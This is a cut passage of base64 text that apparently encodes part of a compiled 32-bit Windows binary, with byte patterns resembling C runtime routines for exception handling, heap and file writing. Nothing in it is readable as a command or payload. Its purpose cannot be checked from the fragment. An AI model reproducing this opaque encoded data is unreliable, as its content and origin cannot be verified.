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1FP91EP91DP91CP/QXcP/dRz/dRj/dRT/dRD/dQz/dQjolP///1lQ/xXs8AAQXcNVi+xWi3UQM8CF9nRei00MU1eLfQhqQVtqWlor+YlVEOsDalpaD7cED2Y7w3INZjvCdwiDwCAPt9DrAovQD7cBZjvDcgxmO0UQdwaDwCAPt8CDwQJOdApmhdJ0BWY70HTBD7fID7fCXyvBW15dw1WL7FaLdQiF9g+E6gAAAItGDDsFdHsBEHQHUOhpt///WYtGEDsFeHsBEHQHUOhXt///WYtGFDsFfHsBEHQHUOhFt///WYtGGDsFgHsBEHQHUOgzt///WYtGHDsFhHsBEHQHUOght///WYtGIDsFiHsBEHQHUOgPt///WYtGJDsFjHsBEHQHUOj9tv//WYtGODsFoHsBEHQHUOjrtv//WYtGPDsFpHsBEHQHUOjZtv//WYtGQDsFqHsBEHQHUOjHtv//WYtGRDsFrHsBEHQHUOi1tv//WYtGSDsFsHsBEHQHUOijtv//WYtGTDsFtHsBEHQHUOiRtv//WV5dw1WL7FaLdQiF9nRZiwY7BWh7ARB0B1Docrb//1mLRgQ7BWx7ARB0B1DoYLb//1mLRgg7BXB7ARB0B1DoTrb//1mLRjA7BZh7ARB0B1DoPLb//1mLRjQ7BZx7ARB0B1DoKrb//1leXcNVi+xWi3UIhfYPhG4DAAD/dgToD7b///92COgHtv///3YM6P+1////dhDo97X///92FOjvtf///3YY6Oe1////Nujgtf///3Yg6Ni1////diTo0LX///92KOjItf///3Ys6MC1////djDouLX///92NOiwtf///3Yc6Ki1////djjooLX///92POiYtf//g8RA/3ZA6I21////dkTohbX///92SOh9tf///3ZM6HW1////dlDobbX///92VOhltf///3ZY6F21////dlzoVbX///92YOhNtf///3Zk6EW1////dmjoPbX///92bOg1tf///3Zw6C21////dnToJbX///92eOgdtf///3Z86BW1//+DxED/toAAAADoB7X///+2hAAAAOj8tP///7aIAAAA6PG0////towAAADo5rT///+2kAAAAOjbtP///7aUAAAA6NC0////tpgAAADoxbT///+2nAAAAOi6tP///7agAAAA6K+0////tqQAAADopLT///+2qAAAAOiZtP///7a4AAAA6I60////trwAAADog7T///+2wAAAAOh4tP///7bEAAAA6G20////tsgAAADoYrT//4PEQP+2zAAAAOhUtP///7a0AAAA6Em0////ttQAAADoPrT///+22AAAAOgztP///7bcAAAA6Ci0////tuAAAADoHbT///+25AAAAOgStP///7boAAAA6Ae0////ttAAAADo/LP///+27AAAAOjxs////7bwAAAA6Oaz////tvQAAADo27P///+2+AAAAOjQs////7b8AAAA6MWz////tgABAADourP///+2BAEAAOivs///g8RA/7YIAQAA6KGz////tgwBAADolrP///+2EAEAAOiLs////7YUAQAA6ICz////thgBAADodbP///+2HAEAAOhqs////7YgAQAA6F+z////tiQBAADoVLP///+2KAEAAOhJs////7YsAQAA6D6z////tjABAADoM7P///+2NAEAAOgos////7Y4AQAA6B2z////tjwBAADoErP///+2QAEAAOgHs////7ZEAQAA6Pyy//+DxED/tkgBAADo7rL///+2TAEAAOjjsv///7ZQAQAA6Niy////tlQBAADozbL///+2WAEAAOjCsv///7ZcAQAA6Ley////tmABAADorLL//4PEHF5dw1WL7FFRocBwARAzxYlF/FNWi3UYV4X2fiGLRRSLzkmAOAB0CECFyXX1g8n/i8YrwUg7xo1wAXwCi/CLTSQz/4XJdQ2LRQiLAItABIlFJIvIM8A5RShqAA+VwGoAVv91FI0ExQEAAABQUf8VEPAAEIvIiU34hcl1BzPA6VgBAAB+S2rgM9JY9/GD+AJyP40MTQgAAACB+QAEAAB3FYvB6LcVAACL3IXbdB7HA8zMAADrE1HoMLP//4vYWYXbdAnHA93dAACDwwiLTfjrAjPbhdt0plFTVv91FGoB/3Uk/xUQ8AAQhcAPhOMAAACLdfhqAGoAVlP/dRD/dQzoZPn//4v4g8QYhf8PhMIAAAC5AAQAAIVNEHQsi00ghckPhK0AAAA7+Q+PpQAAAFH/dRxWU/91EP91DOgp+f//g8QY6YwAAACF/35CauAz0lj394P4AnI2jQR9CAAAADvBdxPo+BQAAIv0hfZ0ZscGzMwAAOsTUOhxsv//i/BZhfZ0UccG3d0AAIPGCOs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/iY005f//OX0QD4Z+AgAAM8CJhTjl///HhRjl//8KAAAAhNsPhY8BAACKCTPAgPkKD5TAiYVA5f//i4Uw5f//ixSFaIwBEIN8FjgAdBeKRBY0iEX0agKNRfSITfWDZBY4AFDrWg++wVDoQvv//1mFwHREi4VE5f//i5U05f//K8IDRRCD+AEPhtMBAABqAlKNhTzl//9Q6FIRAACDxAyD+P8PhNsBAACLhTTl//9A/4U45f//6yZqAf+1NOX//42FPOX//1DoIxEAAIPEDIP4/w+ErAEAAIuFNOX//zPJUVFA/4U45f//agWJhTTl//+NRfRQagGNhTzl//9QUf+1EOX///8VAPAAEImFHOX//4XAD4RrAQAAagCNjSTl//9RUI1F9FCLhTDl//+LBIVojAEQ/zQG/xVY8AAQhcAPhOsEAACLvTjl//+LhRzl//8DvSzl//85hSTl//8PjCEBAACDvUDl//8AD4TaAAAAagCNhSTl//9QagGNRfRQi4Uw5f//xkX0DYsEhWiMARD/NAb/FVjwABCFwA+EjwQAAIO9JOX//wEPjNYAAAD/hSzl//9H6ZAAAACA+wF0BYD7AnUzD7cBM9JmO4UY5f//iYU85f//i4U45f//D5TCg8ECg8ACiY005f//iYU45f//iZVA5f//gPsBdAWA+wJ1Vf+1POX//+j7DwAAWWY7hTzl//8PhRYEAACDxwKDvUDl//8AdCRqDVhQiYU85f//6NIPAABZZjuFPOX//w+F7QMAAEf/hSzl//+LhTjl//+LjTTl//87RRAPgsT9///rI4udMOX//4oCiwydaIwBEEeIRA40iwSdaIwBEMdEBjgBAAAAi7VA5f//6akDAACLtUDl///pqAMAAIuFMOX//4sEhWiMARD2RAYEgA+EVQMAAIuVROX//zP2ibU45f//hNsPheEAAACLwomFPOX//zl1EA+GkQMAADPJK8KLlTzl//+NnUjl//+JjUDl//87RRBzRIoKQkCIjSPl//+A+QqLjUDl//+JlTzl//91C/+FLOX//8YDDUNBipUj5f//iBOLlTzl//9DQYmNQOX//4H5/xMAAHK3i40U5f//jYVI5f//K9hqAI2FKOX//1BTjYVI5f//UIuFMOX//4sEhWiMARD/NAH/FVjwABCFwA+EuwIAAAO9KOX//4uVROX//zmdKOX//w+MsQIAAIuFPOX//yvCO0UQi4U85f//D4I1////6ZUCAACLyoD7Ag+F/gAAAImNQOX//zl1EA+GpwIAAMeFGOX//woAAACDpRzl//8Ai70s5f//i8ErwouVHOX//42dSOX//ztFEHM+D7cxg8ECg8ACiY1A5f//Zju1GOX//3UVag1ZZokLi41A5f//g8cCg8MCg8ICZokzg8ICg8MCgfr+EwAAcr2LjRTl//+NhUjl//8r2GoAjYUo5f//UFONhUjl//9Qi4Uw5f//ib0s5f//iwSFaIwBEP80Af8VWPAAEIu1OOX//4u9POX//4XAD4S0AQAAA70o5f//i5VE5f//ib085f//OZ0o5f//D4ykAQAAi41A5f//i8ErwjtFEA+CIP///+mMAQAAi10QiY0k5f//hdsPhKcBAADHhRjl//8KAAAAg6Uc5f//AIu1JOX//yvKi5Uc5f//jYVI+f//O8tzOw+3PoPGAoPBAom1JOX//2Y7vRjl//91EmoNXmaJMIu1JOX//4PAAoPCAmaJOIPCAoPAAoH6qAYAAHLBM/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xUA8AAQi7U45f//i7085f//iYU05f//hcAPhMIAAAAzyYmNQOX//2o